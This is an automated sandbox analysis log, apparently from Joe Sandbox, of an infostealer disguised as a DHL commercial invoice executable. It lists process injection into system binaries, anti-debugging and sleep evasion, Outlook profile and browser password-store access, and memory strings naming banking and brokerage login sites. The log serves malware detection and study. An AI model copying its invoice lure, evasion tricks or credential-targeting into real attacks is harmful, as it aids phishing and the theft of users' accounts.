Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

File read: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Source: unknown	Process created: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe "C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe"
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe"
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe"	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\openfiles.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Static file information: File size 1328571 > 1048576

Source:	Binary string: OpnFiles.pdb source: svchost.exe, 00000002.00000003.2364267778.0000000003413000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364326950.000000000342B000.00000004.00000020.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000003.2620702199.0000000000ACB000.00000004.00000001.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922769113.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: OhOEhutKIH.exe, 00000004.00000002.3922240898.00000000000BE000.00000002.00000001.01000000.00000005.sdmp, OhOEhutKIH.exe, 00000006.00000000.2471631068.00000000000BE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085846816.0000000004550000.00000004.00001000.00020000.00000000.sdmp, COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085288051.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2304155836.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2306072077.0000000003800000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2403646118.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2401205054.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.0000000004410000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085846816.0000000004550000.00000004.00001000.00020000.00000000.sdmp, COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe, 00000000.00000003.2085288051.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2304155836.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2398803157.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2306072077.0000000003800000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 00000005.00000003.2403646118.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000003.2401205054.0000000000AED000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923522149.0000000004410000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: OpnFiles.pdbGCTL source: svchost.exe, 00000002.00000003.2364267778.0000000003413000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364326950.000000000342B000.00000004.00000020.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000003.2620702199.0000000000ACB000.00000004.00000001.00020000.00000000.sdmp, OhOEhutKIH.exe, 00000004.00000002.3922769113.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: openfiles.exe, 00000005.00000002.3922477816.0000000000559000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923928897.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472431880.0000000002CAC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2703036026.000000001E27C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: openfiles.exe, 00000005.00000002.3922477816.0000000000559000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000005.00000002.3923928897.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, OhOEhutKIH.exe, 00000006.00000000.2472431880.0000000002CAC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2703036026.000000001E27C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Static PE information: real checksum: 0xa2135 should be: 0x14a0c1

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041E850 push cs; iretd	2_2_0041E8F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004190C1 push cs; iretd	2_2_004190C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004160D3 push cs; iretd	2_2_004160F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00405345 push edx; iretd	2_2_00405347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041F31B push es; retf	2_2_0041F337
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004183E4 push ebp; ret	2_2_004183F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004183F5 push ebp; ret	2_2_004183F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004143F9 push edx; iretd	2_2_004143FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00406C47 push FFFFFF8Fh; iretd	2_2_00406C49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418421 push ecx; retf 50A1h	2_2_00418466
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D4DC pushad ; retf	2_2_0040D51B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403510 push eax; ret	2_2_00403512
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401EF7 pushad ; ret	2_2_00401F04
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418F5D pushfd ; iretd	2_2_00418F87
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx	2_2_03A309B6
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A8F86B pushfd ; iretd	4_2_02A8F895
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A8F9CF push cs; iretd	4_2_02A8F9D4
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A9515E push cs; iretd	4_2_02A95202
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A8ECF2 push ebp; ret	4_2_02A8ED02
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A7BC53 push edx; iretd	4_2_02A7BC55
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A83DEA pushad ; retf	4_2_02A83E29
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A8ED03 push ebp; ret	4_2_02A8ED02
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A8AD07 push edx; iretd	4_2_02A8AD08
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe	Code function: 4_2_02A7D555 push FFFFFF8Fh; iretd	4_2_02A7D557
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_044409AD push ecx; mov dword ptr [esp], ecx	5_2_044409B6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00132BC0 push cs; iretd	5_2_00132BE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00134ED1 push ebp; ret	5_2_00134EE1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_00134EE2 push ebp; ret	5_2_00134EE1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0013B33D push cs; iretd	5_2_0013B3E1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_001415DD pushfd ; ret	5_2_001415F0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	File created: \commercail invoice and dhl awb tracking details.exe
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	File created: \commercail invoice and dhl awb tracking details.exe			Jump to behavior

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	API/Special instruction interceptor: Address: 3EB5A74
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03A7096E rdtsc

2_2_03A7096E

Source: C:\Windows\SysWOW64\openfiles.exe	Window / User API: threadDelayed 759			Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Window / User API: threadDelayed 9214			Jump to behavior

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	API coverage: 3.3 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\openfiles.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\openfiles.exe TID: 6020	Thread sleep count: 759 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 6020	Thread sleep time: -1518000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 6020	Thread sleep count: 9214 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 6020	Thread sleep time: -18428000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe TID: 5296	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe TID: 5296	Thread sleep time: -37500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\openfiles.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\openfiles.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 5_2_0013C2A0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0013C2A0

Source: C:\Users\user\Desktop\COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: w2-0G0-7.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: w2-0G0-7.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: w2-0G0-7.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: w2-0G0-7.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: w2-0G0-7.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: w2-0G0-7.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: w2-0G0-7.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: w2-0G0-7.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000008.00000002.2705913006.000001651E1DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: w2-0G0-7.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: w2-0G0-7.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: w2-0G0-7.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: w2-0G0-7.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: w2-0G0-7.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: w2-0G0-7.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: w2-0G0-7.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: OhOEhutKIH.exe, 00000006.00000002.3922847218.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: openfiles.exe, 00000005.00000002.3922477816.0000000000559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}
Source: w2-0G0-7.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: w2-0G0-7.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: w2-0G0-7.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process queried: DebugPort			Jump to behavior

